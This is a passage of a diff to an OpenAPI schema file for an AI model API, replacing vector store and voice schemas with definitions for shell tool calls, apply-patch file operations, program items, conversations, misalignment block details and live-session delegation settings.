- type: 'null'
- description: Role ID to assign to the user.
- technical_level:
+ type:
+ type: string
+ enum:
+ - shell_call
+ description: The type of the item. Always `shell_call`.
+ default: shell_call
+ x-stainless-const: true
+ action:
+ $ref: '#/components/schemas/FunctionShellActionParam'
+ description: The shell commands and limits that describe how to run the tool call.
+ status:
anyOf:
- - type: string
+ - $ref: '#/components/schemas/FunctionShellCallItemStatus'
+ description: The status of the shell call. One of `in_progress`, `completed`, or `incomplete`.
- type: 'null'
- description: Technical level metadata.
- developer_persona:
+ environment:
anyOf:
- - type: string
+ - discriminator:
+ propertyName: type
+ description: The environment to execute the shell commands in.
+ anyOf:
+ - $ref: '#/components/schemas/LocalEnvironmentParam'
+ - $ref: '#/components/schemas/ContainerReferenceParam'
- type: 'null'
- description: Developer persona metadata.
- VadConfig:
type: object
- additionalProperties: false
required:
+ - call_id
- type
+ - action
+ title: Shell tool call
+ description: A tool representing a request to execute one or more shell commands.
+ FunctionShellCallOutputTimeoutOutcomeParam:
properties:
type:
type: string
enum:
- - server_vad
- description: Must be set to `server_vad` to enable manual chunking using server side VAD.
- prefix_padding_ms:
- type: integer
- default: 300
- description: "Amount of audio to include before the VAD detected speech (in \nmilliseconds).\n"
- silence_duration_ms:
- type: integer
- default: 200
- description: "Duration of silence to detect speech stop (in milliseconds).\nWith shorter values the model will respond more quickly, \nbut may jump in on short pauses from the user.\n"
- threshold:
- type: number
- default: 0.5
- description: "Sensitivity threshold (0.0 to 1.0) for voice activity detection. A \nhigher threshold will require louder audio to activate the model, and \nthus might perform better in noisy environments.\n"
- ValidateGraderRequest:
+ - timeout
+ description: The outcome type. Always `timeout`.
+ default: timeout
+ x-stainless-const: true
type: object
- title: ValidateGraderRequest
- properties:
- grader:
- type: object
- description: The grader used for the fine-tuning job.
- anyOf:
- - $ref: '#/components/schemas/GraderStringCheck'
- - $ref: '#/components/schemas/GraderTextSimilarity'
- - $ref: '#/components/schemas/GraderPython'
- - $ref: '#/components/schemas/GraderScoreModel'
- - $ref: '#/components/schemas/GraderMulti'
required:
- - grader
- ValidateGraderResponse:
- type: object
- title: ValidateGraderResponse
- properties:
- grader:
- type: object
- description: The grader used for the fine-tuning job.
- anyOf:
- - $ref: '#/components/schemas/GraderStringCheck'
- - $ref: '#/components/schemas/GraderTextSimilarity'
- - $ref: '#/components/schemas/GraderPython'
- - $ref: '#/components/schemas/GraderScoreModel'
- - $ref: '#/components/schemas/GraderMulti'
- VectorStoreExpirationAfter:
- type: object
- title: Vector store expiration policy
- description: The expiration policy for a vector store.
+ - type
+ title: Shell call timeout outcome
+ description: Indicates that the shell call exceeded its configured time limit.
+ FunctionShellCallOutputExitOutcomeParam:
properties:
- anchor:
- description: 'Anchor timestamp after which the expiration policy applies. Supported anchors: `last_active_at`.'
+ type:
type: string
enum:
- - last_active_at
+ - exit
+ description: The outcome type. Always `exit`.
+ default: exit
x-stainless-const: true
- days:
- description: The number of days after the anchor time that the vector store will expire.
+ exit_code:
type: integer
- minimum: 1
- maximum: 365
+ description: The exit code returned by the shell process.
+ type: object
required:
- - anchor
- - days
- VectorStoreFileAttributes:
+ - type
+ - exit_code
+ title: Shell call exit outcome
+ description: Indicates that the shell commands finished and returned an exit code.
+ FunctionShellCallOutputOutcomeParam:
+ discriminator:
+ propertyName: type
+ title: Shell call outcome
+ description: The exit or timeout outcome associated with this shell call.
anyOf:
- - type: object
- description: |
- Set of 16 key-value pairs that can be attached to an object. This can be
- useful for storing additional information about the object in a structured
- format, and querying for objects via API or the dashboard. Keys are strings
- with a maximum length of 64 characters. Values are strings with a maximum
- length of 512 characters, booleans, or numbers.
- maxProperties: 16
- propertyNames:
- type: string
- maxLength: 64
- additionalProperties:
- anyOf:
- - type: string
- maxLength: 512
- - type: number
- - type: boolean
- x-oaiTypeLabel: map
- - type: 'null'
- VectorStoreFileBatchObject:
- type: object
- title: Vector store file batch
- description: A batch of files attached to a vector store.
+ - $ref: '#/components/schemas/FunctionShellCallOutputTimeoutOutcomeParam'
+ - $ref: '#/components/schemas/FunctionShellCallOutputExitOutcomeParam'
+ FunctionShellCallOutputContentParam:
properties:
- id:
- description: The identifier, which can be referenced in API endpoints.
- type: string
- object:
- description: The object type, which is always `vector_store.file_batch`.
- type: string
- enum:
- - vector_store.files_batch
- x-stainless-const: true
- created_at:
- description: The Unix timestamp (in seconds) for when the vector store files batch was created.
- type: integer
- format: unixtime
- vector_store_id:
- description: The ID of the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) that the [File](https://developers.openai.com/api/reference/resources/files) is attached to.
+ stdout:
type: string
- status:
- description: The status of the vector store files batch, which can be either `in_progress`, `completed`, `cancelled` or `failed`.
+ maxLength: 10485760
+ description: Captured stdout output for the shell call.
+ stderr:
type: string
- enum:
- - in_progress
- - completed
- - cancelled
- - failed
- file_counts:
- type: object
- properties:
- in_progress:
- description: The number of files that are currently being processed.
- type: integer
- completed:
- description: The number of files that have been processed.
- type: integer
- failed:
- description: The number of files that have failed to process.
- type: integer
- cancelled:
- description: The number of files that where cancelled.
- type: integer
- total:
- description: The total number of files.
- type: integer
- required:
- - in_progress
- - completed
- - cancelled
- - failed
- - total
- required:
- - id
- - object
- - created_at
- - vector_store_id
- - status
- - file_counts
- x-oaiMeta:
- name: The vector store files batch object
- beta: true
- example: |
- {
- "id": "vsfb_123",
- "object": "vector_store.files_batch",
- "created_at": 1698107661,
- "vector_store_id": "vs_abc123",
- "status": "completed",
- "file_counts": {
- "in_progress": 0,
- "completed": 100,
- "failed": 0,
- "cancelled": 0,
- "total": 100
- }
- }
- VectorStoreFileContentResponse:
+ maxLength: 10485760
+ description: Captured stderr output for the shell call.
+ outcome:
+ $ref: '#/components/schemas/FunctionShellCallOutputOutcomeParam'
+ description: The exit or timeout outcome associated with this shell call.
type: object
- description: Represents the parsed content of a vector store file.
+ required:
+ - stdout
+ - stderr
+ - outcome
+ title: Shell output content
+ description: Captured stdout and stderr for a portion of a shell tool call output.
+ FunctionShellCallOutputItemParam:
properties:
- object:
+ id:
+ anyOf:
+ - type: string
+ description: The unique ID of the shell tool call output. Populated when this item is returned via API.
+ example: sho_123
+ - type: 'null'
+ call_id:
+ type: string
+ maxLength: 64
+ minLength: 1
+ description: The unique ID of the shell tool call generated by the model.
+ caller:
+ anyOf:
+ - $ref: '#/components/schemas/ToolCallCallerParam'
+ description: The execution context that produced this tool call.
+ - type: 'null'
+ type:
type: string
enum:
- - vector_store.file_content.page
- description: The object type, which is always `vector_store.file_content.page`
+ - shell_call_output
+ description: The type of the item. Always `shell_call_output`.
+ default: shell_call_output
x-stainless-const: true
- data:
- type: array
- description: Parsed content of the file.
+ output:
items:
- type: object
- properties:
- type:
- type: string
- description: The content type (currently only `"text"`)
- text:
- type: string
- description: The text content
- has_more:
- type: boolean
- description: Indicates if there are more content pages to fetch.
- next_page:
+ $ref: '#/components/schemas/FunctionShellCallOutputContentParam'
+ type: array
+ description: Captured chunks of stdout and stderr output, along with their associated outcomes.
+ status:
anyOf:
- - type: string
- description: The token for the next page, if any.
+ - $ref: '#/components/schemas/FunctionShellCallItemStatus'
+ description: The status of the shell call output.
+ - type: 'null'
+ max_output_length:
+ anyOf:
+ - type: integer
+ description: The maximum number of UTF-8 characters captured for this shell call's combined output.
- type: 'null'
+ type: object
required:
- - object
- - data
- - has_more
- - next_page
- VectorStoreFileObject:
+ - call_id
+ - type
+ - output
+ title: Shell tool call output
+ description: The streamed output items emitted by a shell tool call.
+ ApplyPatchCallStatusParam:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ title: Apply patch call status
+ description: Status values reported for apply_patch tool calls.
+ ApplyPatchCreateFileOperationParam:
+ properties:
+ type:
+ type: string
+ enum:
+ - create_file
+ description: The operation type. Always `create_file`.
+ default: create_file
+ x-stainless-const: true
+ path:
+ type: string
+ minLength: 1
+ description: Path of the file to create relative to the workspace root.
+ diff:
+ type: string
+ maxLength: 10485760
+ description: Unified diff content to apply when creating the file.
type: object
- title: Vector store files
- description: A list of files attached to a vector store.
+ required:
+ - type
+ - path
+ - diff
+ title: Apply patch create file operation
+ description: Instruction for creating a new file via the apply_patch tool.
+ ApplyPatchDeleteFileOperationParam:
properties:
- id:
- description: The identifier, which can be referenced in API endpoints.
+ type:
type: string
- object:
- description: The object type, which is always `vector_store.file`.
+ enum:
+ - delete_file
+ description: The operation type. Always `delete_file`.
+ default: delete_file
+ x-stainless-const: true
+ path:
+ type: string
+ minLength: 1
+ description: Path of the file to delete relative to the workspace root.
+ type: object
+ required:
+ - type
+ - path
+ title: Apply patch delete file operation
+ description: Instruction for deleting an existing file via the apply_patch tool.
+ ApplyPatchUpdateFileOperationParam:
+ properties:
+ type:
type: string
enum:
- - vector_store.file
+ - update_file
+ description: The operation type. Always `update_file`.
+ default: update_file
x-stainless-const: true
- usage_bytes:
- description: The total vector store usage in bytes. Note that this may be different from the original file size.
- type: integer
- created_at:
- description: The Unix timestamp (in seconds) for when the vector store file was created.
- type: integer
- format: unixtime
- vector_store_id:
- description: The ID of the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) that the [File](https://developers.openai.com/api/reference/resources/files) is attached to.
+ path:
type: string
- status:
- description: The status of the vector store file, which can be either `in_progress`, `completed`, `cancelled`, or `failed`. The status `completed` indicates that the vector store file is ready for use.
+ minLength: 1
+ description: Path of the file to update relative to the workspace root.
+ diff:
+ type: string
+ maxLength: 10485760
+ description: Unified diff content to apply to the existing file.
+ type: object
+ required:
+ - type
+ - path
+ - diff
+ title: Apply patch update file operation
+ description: Instruction for updating an existing file via the apply_patch tool.
+ ApplyPatchOperationParam:
+ discriminator:
+ propertyName: type
+ title: Apply patch operation
+ description: One of the create_file, delete_file, or update_file operations supplied to the apply_patch tool.
+ anyOf:
+ - $ref: '#/components/schemas/ApplyPatchCreateFileOperationParam'
+ - $ref: '#/components/schemas/ApplyPatchDeleteFileOperationParam'
+ - $ref: '#/components/schemas/ApplyPatchUpdateFileOperationParam'
+ ApplyPatchToolCallItemParam:
+ properties:
+ type:
type: string
enum:
- - in_progress
- - completed
- - cancelled
- - failed
- last_error:
+ - apply_patch_call
+ description: The type of the item. Always `apply_patch_call`.
+ default: apply_patch_call
+ x-stainless-const: true
+ id:
anyOf:
- - type: object
- description: The last error associated with this vector store file. Will be `null` if there are no errors.
- properties:
- code:
- type: string
- description: One of `server_error`, `unsupported_file`, or `invalid_file`.
- enum:
- - server_error
- - unsupported_file
- - invalid_file
- message:
- type: string
- description: A human-readable description of the error.
- required:
- - code
- - message
+ - type: string
+ description: The unique ID of the apply patch tool call. Populated when this item is returned via API.
+ example: apc_123
- type: 'null'
- chunking_strategy:
- $ref: '#/components/schemas/ChunkingStrategyResponse'
- description: The strategy used to chunk the file.
- attributes:
- $ref: '#/components/schemas/VectorStoreFileAttributes'
+ call_id:
+ type: string
+ maxLength: 64
+ minLength: 1
+ description: The unique ID of the apply patch tool call generated by the model.
+ caller:
+ anyOf:
+ - $ref: '#/components/schemas/ToolCallCallerParam'
+ description: The execution context that produced this tool call.
+ - type: 'null'
+ status:
+ $ref: '#/components/schemas/ApplyPatchCallStatusParam'
+ description: The status of the apply patch tool call. One of `in_progress` or `completed`.
+ operation:
+ $ref: '#/components/schemas/ApplyPatchOperationParam'
+ description: The specific create, delete, or update instruction for the apply_patch tool call.
+ type: object
required:
- - id
- - object
- - usage_bytes
- - created_at
- - vector_store_id
+ - type
+ - call_id
- status
- - last_error
- x-oaiMeta:
- name: The vector store file object
- beta: true
- example: |
- {
- "id": "file-abc123",
- "object": "vector_store.file",
- "usage_bytes": 1234,
- "created_at": 1698107661,
- "vector_store_id": "vs_abc123",
- "status": "completed",
- "last_error": null,
- "chunking_strategy": {
- "type": "static",
- "static": {
- "max_chunk_size_tokens": 800,
- "chunk_overlap_tokens": 400
- }
- }
- }
- VectorStoreObject:
- type: object
- title: Vector store
- description: A vector store is a collection of processed files can be used by the `file_search` tool.
+ - operation
+ title: Apply patch tool call
+ description: A tool call representing a request to create, delete, or update files using diff patches.
+ ApplyPatchCallOutputStatusParam:
+ type: string
+ enum:
+ - completed
+ - failed
+ title: Apply patch call output status
+ description: Outcome values reported for apply_patch tool call outputs.
+ ApplyPatchToolCallOutputItemParam:
properties:
- id:
- description: The identifier, which can be referenced in API endpoints.
- type: string
- object:
- description: The object type, which is always `vector_store`.
+ type:
type: string
enum:
- - vector_store
+ - apply_patch_call_output
+ description: The type of the item. Always `apply_patch_call_output`.
+ default: apply_patch_call_output
x-stainless-const: true
- created_at:
- description: The Unix timestamp (in seconds) for when the vector store was created.
- type: integer
- format: unixtime
- name:
- description: The name of the vector store.
- type: string
- usage_bytes:
- description: The total number of bytes used by the files in the vector store.
- type: integer
- file_counts:
- type: object
- properties:
- in_progress:
- description: The number of files that are currently being processed.
- type: integer
- completed:
- description: The number of files that have been successfully processed.
- type: integer
- failed:
- description: The number of files that have failed to process.
- type: integer
- cancelled:
- description: The number of files that were cancelled.
- type: integer
- total:
- description: The total number of files.
- type: integer
- required:
- - in_progress
- - completed
- - failed
- - cancelled
- - total
- status:
- description: The status of the vector store, which can be either `expired`, `in_progress`, or `completed`. A status of `completed` indicates that the vector store is ready for use.
+ id:
+ anyOf:
+ - type: string
+ description: The unique ID of the apply patch tool call output. Populated when this item is returned via API.
+ example: apco_123
+ - type: 'null'
+ call_id:
type: string
- enum:
- - expired
- - in_progress
- - completed
- expires_after:
- $ref: '#/components/schemas/VectorStoreExpirationAfter'
- expires_at:
+ maxLength: 64
+ minLength: 1
+ description: The unique ID of the apply patch tool call generated by the model.
+ caller:
anyOf:
- - description: The Unix timestamp (in seconds) for when the vector store will expire.
- type: integer
- format: unixtime
+ - $ref: '#/components/schemas/ToolCallCallerParam'
+ description: The execution context that produced this tool call.
- type: 'null'
- last_active_at:
+ status:
+ $ref: '#/components/schemas/ApplyPatchCallOutputStatusParam'
+ description: The status of the apply patch tool call output. One of `completed` or `failed`.
+ output:
anyOf:
- - description: The Unix timestamp (in seconds) for when the vector store was last active.
- type: integer
- format: unixtime
+ - type: string
+ maxLength: 10485760
+ description: Optional human-readable log text from the apply patch tool (e.g., patch results or errors).
- type: 'null'
- metadata:
- $ref: '#/components/schemas/Metadata'
+ type: object
required:
- - id
- - object
- - usage_bytes
- - created_at
+ - type
+ - call_id
- status
- - last_active_at
- - name
- - file_counts
- - metadata
- x-oaiMeta:
- name: The vector store object
- example: |
- {
- "id": "vs_123",
- "object": "vector_store",
- "created_at": 1698107661,
- "usage_bytes": 123456,
- "last_active_at": 1698107661,
- "name": "my_vector_store",
- "status": "completed",
- "file_counts": {
- "in_progress": 0,
- "completed": 100,
- "cancelled": 0,
- "failed": 0,
- "total": 100
- },
- "last_used_at": 1698107661
- }
- VectorStoreSearchRequest:
+ title: Apply patch tool call output
+ description: The streamed output emitted by an apply patch tool call.
+ CompactionTriggerItemParam:
+ properties:
+ type:
+ type: string
+ enum:
+ - compaction_trigger
+ description: The type of the item. Always `compaction_trigger`.
+ default: compaction_trigger
+ x-stainless-const: true
type: object
- additionalProperties: false
+ required:
+ - type
+ title: Compaction trigger
+ description: Compacts the current context. Must be the final input item.
+ ItemReferenceParam:
properties:
- query:
- description: A query string for a search
+ type:
anyOf:
- type: string
- - type: array
- items:
- type: string
- description: A list of queries to search for.
- minItems: 1
- rewrite_query:
- description: Whether to rewrite the natural language query for vector search.
- type: boolean
- default: false
- max_num_results:
- description: The maximum number of results to return. This number should be between 1 and 50 inclusive.
- type: integer
- default: 10
- minimum: 1
- maximum: 50
- filters:
- description: A filter to apply based on file attributes.
- anyOf:
- - $ref: '#/components/schemas/ComparisonFilter'
- - $ref: '#/components/schemas/CompoundFilter'
- ranking_options:
- description: Ranking options for search.
- type: object
- additionalProperties: false
- properties:
- ranker:
- description: Enable re-ranking; set to `none` to disable, which can help reduce latency.
- type: string
- enum:
- - none
- - auto
- - default-2024-11-15
- default: auto
- score_threshold:
- type: number
- minimum: 0
- maximum: 1
- default: 0
- required:
- - query
- x-oaiMeta:
- name: Vector store search request
- VectorStoreSearchResultContentObject:
+ enum:
+ - item_reference
+ description: The type of item to reference. Always `item_reference`.
+ default: item_reference
+ x-stainless-const: true
+ - type: 'null'
+ id:
+ type: string
+ description: The ID of the item to reference.
type: object
- additionalProperties: false
+ required:
+ - id
+ title: Item reference
+ description: An internal identifier for an item to reference.
+ ProgramItemParam:
properties:
+ id:
+ type: string
+ description: The unique ID of this program item.
+ example: cm_123
type:
- description: The type of content.
type: string
enum:
- - text
- text:
- description: The text content returned from search.
+ - program
+ description: The item type. Always `program`.
+ default: program
+ x-stainless-const: true
+ call_id:
+ type: string
+ maxLength: 64
+ minLength: 1
+ description: The stable call ID of the program item.
+ code:
+ type: string
+ maxLength: 10485760
+ description: The JavaScript source executed by programmatic tool calling.
+ fingerprint:
type: string
+ maxLength: 10485760
+ description: Opaque program replay fingerprint that must be round-tripped.
+ type: object
required:
+ - id
- type
- - text
- x-oaiMeta:
- name: Vector store search result content object
- VectorStoreSearchResultItem:
- type: object
- additionalProperties: false
+ - call_id
+ - code
+ - fingerprint
+ ProgramOutputItemStatus:
+ type: string
+ enum:
+ - completed
+ - incomplete
+ ProgramOutputItemParam:
properties:
- file_id:
+ id:
type: string
- description: The ID of the vector store file.
- filename:
+ description: The unique ID of this program output item.
+ example: cmo_123
+ type:
type: string
- description: The name of the vector store file.
- score:
- type: number
- description: The similarity score for the result.
- minimum: 0
- maximum: 1
- attributes:
- $ref: '#/components/schemas/VectorStoreFileAttributes'
- content:
- type: array
- description: Content chunks from the file.
- items:
- $ref: '#/components/schemas/VectorStoreSearchResultContentObject'
- required:
- - file_id
- - filename
- - score
- - attributes
- - content
- x-oaiMeta:
- name: Vector store search result item
- VectorStoreSearchResultsPage:
+ enum:
+ - program_output
+ description: The item type. Always `program_output`.
+ default: program_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ maxLength: 64
+ minLength: 1
+ description: The call ID of the program item.
+ result:
+ type: string
+ maxLength: 10485760
+ description: The result produced by the program item.
+ status:
+ $ref: '#/components/schemas/ProgramOutputItemStatus'
+ description: The terminal status of the program output.
type: object
- additionalProperties: false
+ required:
+ - id
+ - type
+ - call_id
+ - result
+ - status
+ ConversationResource:
properties:
+ id:
+ type: string
+ description: The unique ID of the conversation.
object:
type: string
enum:
- - vector_store.search_results.page
- description: The object type, which is always `vector_store.search_results.page`
+ - conversation
+ description: The object type, which is always `conversation`.
+ default: conversation
x-stainless-const: true
- search_query:
- type: array
- items:
- type: string
- description: The query used for this search.
- minItems: 1
- data:
- type: array
- description: The list of search result items.
- items:
- $ref: '#/components/schemas/VectorStoreSearchResultItem'
- has_more:
- type: boolean
- description: Indicates if there are more results to fetch.
- next_page:
- anyOf:
- - type: string
- description: The token for the next page, if any.
- - type: 'null'
+ metadata:
+ description: |-
+ Set of 16 key-value pairs that can be attached to an object. This can be useful for storing additional information about the object in a structured format, and querying for objects via API or the dashboard.
+ Keys are strings with a maximum length of 64 characters. Values are strings with a maximum length of 512 characters.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The time at which the conversation was created, measured in seconds since the Unix epoch.
+ type: object
required:
+ - id
- object
- - search_query
- - data
- - has_more
- - next_page
- x-oaiMeta:
- name: Vector store search results page
- Verbosity:
+ - metadata
+ - created_at
+ _MisalignmentErrorType:
anyOf:
+ - type: string
- type: string
enum:
- - low
- - medium
- - high
- default: medium
- description: |
- Constrains the verbosity of the model's response. Lower values will result in
- more concise responses, while higher values will result in more verbose responses.
- Currently supported values are `low`, `medium`, and `high`. The default is
- `medium`.
+ - potentially_unintended_data_transfer
+ - potentially_unintended_data_access
+ - potentially_unintended_destructive_activity
+ - other
+ _MisalignmentSteer:
+ properties:
+ message:
+ type: string
+ description: The public continuation instruction.
+ type: object
+ required:
+ - message
+ MisalignmentErrorDetailsResource:
+ properties:
+ error_type:
+ $ref: '#/components/schemas/_MisalignmentErrorType'
+ description: An optional classification; clients must accept additional values.
+ detailed_explanation:
+ type: string
+ description: The public explanation for this block.
+ steer:
+ $ref: '#/components/schemas/_MisalignmentSteer'
+ description: An optional public continuation instruction.
+ type: object
+ required: []
+ ImageGenOutputTokensDetails:
+ properties:
+ image_tokens:
+ type: integer
+ description: The number of image output tokens generated by the model.
+ text_tokens:
+ type: integer
+ description: The number of text output tokens generated by the model.
+ type: object
+ required:
+ - image_tokens
+ - text_tokens
+ title: Image generation output token details
+ description: The output token details for the image generation.
+ ImageGenInputUsageDetails:
+ properties:
+ text_tokens:
+ type: integer
+ description: The number of text tokens in the input prompt.
+ image_tokens:
+ type: integer
+ description: The number of image tokens in the input prompt.
+ type: object
+ required:
+ - text_tokens
+ - image_tokens
+ title: Input usage details
+ description: The input tokens detailed information for the image generation.
+ ImageGenUsage:
+ properties:
+ input_tokens:
+ type: integer
+ description: The number of tokens (images and text) in the input prompt.
+ total_tokens:
+ type: integer
+ description: The total number of tokens (images and text) used for the image generation.
+ output_tokens:
+ type: integer
+ description: The number of output tokens generated by the model.
+ output_tokens_details:
+ $ref: '#/components/schemas/ImageGenOutputTokensDetails'
+ input_tokens_details:
+ $ref: '#/components/schemas/ImageGenInputUsageDetails'
+ type: object
+ required:
+ - input_tokens
+ - total_tokens
+ - output_tokens
+ - input_tokens_details
+ title: Image generation usage
+ description: For `gpt-image-1` only, the token usage information for the image generation.
+ instructions:
+ anyOf:
+ - description: Frontend instructions for voice, conversation, interruptions, and when to delegate. Start with the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting); put business rules and tool workflows in a separate [backend prompt](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt). Limited to 16,384 client-supplied tokens. Omitted or blank instructions use server defaults. Immutable after startup.
+ type: string
- type: 'null'
- VoiceConsentDeletedResource:
+ LiveCustomVoiceParam:
type: object
- additionalProperties: false
properties:
id:
type: string
- description: The consent recording identifier.
- example: cons_1234
- object:
- type: string
- enum:
- - audio.voice_consent
- x-stainless-const: true
- deleted:
- type: boolean
+ minLength: 1
+ maxLength: 128
required:
- id
- - object
- - deleted
- x-oaiMeta:
- name: The voice consent deletion object
- example: |
- {
- "object": "audio.voice_consent",
- "id": "cons_1234",
- "deleted": true
- }
- VoiceConsentListResource:
+ LiveInitialSessionAudioOutputParam:
+ description: Settings for speech generated by the Live model. Choose the voice before starting the session.
type: object
- additionalProperties: false
properties:
- object:
+ voice:
+ description: The voice used for Live speech, as a built-in voice name or a custom voice object containing its ID. Defaults to `marin` and cannot change after startup.
+ anyOf:
+ - anyOf:
+ - type: string
+ - $ref: '#/components/schemas/LiveBuiltInVoice'
+ - $ref: '#/components/schemas/LiveCustomVoiceParam'
+ required: []
+ LiveClientDelegationParam:
+ description: Delegate tasks to your application. The Live session emits delegation events that your backend handles.
+ type: object
+ properties:
+ type:
+ description: The delegation owner. Always `client` for tasks handled by your application.
+ default: client
+ x-stainless-const: true
type: string
enum:
- - list
+ - client
+ required:
+ - type
+ LiveResponsesServiceTier:
+ type: string
+ enum:
+ - auto
+ - default
+ - fast_tier_temp_pilot
+ - flex
+ - priority
+ - ultrafast
+ LiveReasoningEffort:
+ type: string
+ enum:
+ - none
+ - minimal
+ - low
+ - medium
+ - high
+ - xhigh
+ LiveReasoningSummary:
+ type: string
+ enum:
+ - concise
+ - detailed
+ - auto
+ LiveDelegationReasoningInputParam:
+ description: Reasoning options for Responses requests made on behalf of the Live session.
+ type: object
+ properties:
+ effort:
+ anyOf:
+ - description: How much reasoning effort the delegated Responses model should use. Supported values depend on the backend model.
+ $ref: '#/components/schemas/LiveReasoningEffort'
+ - type: 'null'
+ summary:
+ anyOf:
+ - description: The reasoning summary to request from the delegated Responses model, when supported.
+ $ref: '#/components/schemas/LiveReasoningSummary'
+ - type: 'null'
+ required: []
+ LiveTextVerbosity:
+ type: string
+ enum:
+ - low
+ - medium
+ - high
+ LiveDelegationTextInputParam:
+ description: Text generation options for the Live session’s Responses backend.
+ type: object
+ properties:
+ verbosity:
+ anyOf:
+ - description: The amount of detail in text generated by the Responses backend. This does not configure the Live model’s spoken delivery.
+ $ref: '#/components/schemas/LiveTextVerbosity'
+ - type: 'null'
+ required: []
+ LiveFunctionToolInputParam:
+ description: A function tool available to the Responses backend when the Live model delegates a task.
+ type: object
+ properties:
+ type:
+ description: The tool type. Always `function`.
+ default: function
x-stainless-const: true
- data:
- type: array
- items:
- $ref: '#/components/schemas/VoiceConsentResource'
- first_id:
+ type: string
+ enum:
+ - function
+ name:
+ description: The name the delegated Responses model uses when calling this function.
+ type: string
+ description:
anyOf:
- - type: string
+ - description: What the function does and when the delegated Responses model should call it.
+ type: string
- type: 'null'
- last_id:
+ parameters:
anyOf:
- - type: string
+ - description: A JSON Schema object describing the arguments accepted by the function.
+ type: object
+ additionalProperties: {}
+ - type: 'null'
+ strict:
+ anyOf:
+ - description: Whether the delegated Responses model must follow the function’s parameter schema exactly.
+ type: boolean
- type: 'null'
- has_more:
- type: boolean
required:
- - object
- - data
- - has_more
- x-oaiMeta:
- name: The voice consent list object
- example: |
- {
- "object": "list",
- "data": [
- {
- "object": "audio.voice_consent",
- "id": "cons_1234",
- "name": "John Doe",
- "language": "en-US",
- "created_at": 1734220800
- }
- ],
- "first_id": "cons_1234",
- "last_id": "cons_1234",
- "has_more": false
- }
- VoiceConsentResource:
+ - type
+ - name
+ LiveWebSearchToolInputParam:
+ description: A web search tool available to the Live session’s Responses backend.
type: object
- title: Voice consent
- description: A consent recording used to authorize creation of a custom voice.
- additionalProperties: false
properties:
- object:
+ type:
+ description: The tool type. Always `web_search`.
+ default: web_search
+ x-stainless-const: true
type: string
- description: The object type, which is always `audio.voice_consent`.
enum:
- - audio.voice_consent
+ - web_search
+ required:
+ - type
+ LiveToolChoiceEnum:
+ type: string
+ enum:
+ - auto
+ - none
+ - required
+ LiveFunctionToolChoiceParam:
+ type: object
+ properties:
+ type:
+ default: function
x-stainless-const: true
- id:
type: string
- description: The consent recording identifier.
- example: cons_1234
+ enum:
+ - function
name:
type: string
- description: The label provided when the consent recording was uploaded.
- language:
- type: string
- description: The BCP 47 language tag for the consent phrase (for example, `en-US`).
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the consent recording was created.
+ minLength: 1
+ maxLength: 64
+ pattern: ^[a-zA-Z0-9_-]+$
required:
- - object
- - id
+ - type
- name
- - language
- - created_at
- x-oaiMeta:
- name: The voice consent object
- example: |
- {
- "object": "audio.voice_consent",
- "id": "cons_1234",
- "name": "John Doe",
- "language": "en-US",
- "created_at": 1734220800
- }
- VoiceIdsOrCustomVoice:
- title: Voice
- description: |
- A built-in voice name or a custom voice reference.
- anyOf:
- - $ref: '#/components/schemas/VoiceIdsShared'
- - type: object
- description: Custom voice reference.
- additionalProperties: false
- required:
- - id
- properties:
- id:
- type: string
- description: The custom voice ID, e.g. `voice_1234`.
- example: voice_1234
- VoiceIdsShared:
- example: ash
- anyOf:
- - type: string
- - type: string
- enum:
- - alloy
- - ash
- - ballad
- - coral
- - echo
- - sage
- - shimmer
- - verse
- - marin
- - cedar
- VoiceResource:
+ LiveMCPToolChoiceParam:
type: object
- title: Voice
- description: A custom voice that can be used for audio output.
- additionalProperties: false
properties:
- object:
+ type:
+ default: mcp
+ x-stainless-const: true
type: string
- description: The object type, which is always `audio.voice`.
enum:
- - audio.voice
- x-stainless-const: true
- id:
+ - mcp
+ server_label:
type: string
- description: The voice identifier, which can be referenced in API endpoints.
+ minLength: 1
+ maxLength: 64
+ pattern: ^[a-zA-Z0-9_-]+$
name:
type: string
- description: The name of the voice.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the voice was created.
+ minLength: 1
+ maxLength: 64
+ pattern: ^[a-zA-Z0-9_-]+$
required:
- - object
- - id
+ - type
+ - server_label
- name
- - created_at
- x-oaiMeta:
- name: The voice object
- example: |
- {
- "object": "audio.voice",
- "id": "voice_123abc",
- "name": "My new voice",
- "created_at": 1734220800
- }
- WebSearchActionFind:
+ LiveResponsesDelegationSettingsInputParam:
+ description: Model, prompt, and tool settings for tasks delegated by the Live session to a Responses backend.
+ type: object
+ properties:
+ model:
+ description: The model used for server-owned Responses delegations.
+ type: string
+ instructions:
+ anyOf:
+ - description: Instructions for the delegated Responses model, separate from Live instructions. See [backend prompting](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ type: string
+ - type: 'null'
+ max_output_tokens:
+ anyOf:
+ - description: Maximum number of output tokens for each delegated response.
+ type: integer
+ minimum: 16
+ - type: 'null'
+ service_tier:
+ anyOf:
+ - description: Service tier for delegated Responses requests.
+ $ref: '#/components/schemas/LiveResponsesServiceTier'
+ - type: 'null'
+ reasoning:
+ anyOf:
+ - description: Reasoning settings passed to each delegated Responses request.
+ $ref: '#/components/schemas/LiveDelegationReasoningInputParam'
+ - type: 'null'
+ text:
+ anyOf:
+ - description: Text generation settings passed to each delegated Responses request.
+ $ref: '#/components/schemas/LiveDelegationTextInputParam'
+ - type: 'null'
+ tools:
+ description: Tools available to the Responses backend while it handles tasks delegated by the Live model.
+ type: array
+ items:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveFunctionToolInputParam'
+ - $ref: '#/components/schemas/LiveWebSearchToolInputParam'
+ tool_choice:
+ description: Controls which tool the Responses backend uses when handling a task delegated by the Live model.
+ anyOf:
+ - $ref: '#/components/schemas/LiveToolChoiceEnum'
+ - $ref: '#/components/schemas/LiveFunctionToolChoiceParam'
+ - $ref: '#/components/schemas/LiveMCPToolChoiceParam'
+ parallel_tool_calls:
+ anyOf:
+ - description: Whether the delegated Responses model may request multiple tool calls in a single response.
+ type: boolean
+ - type: 'null'
+ required:
+ - model
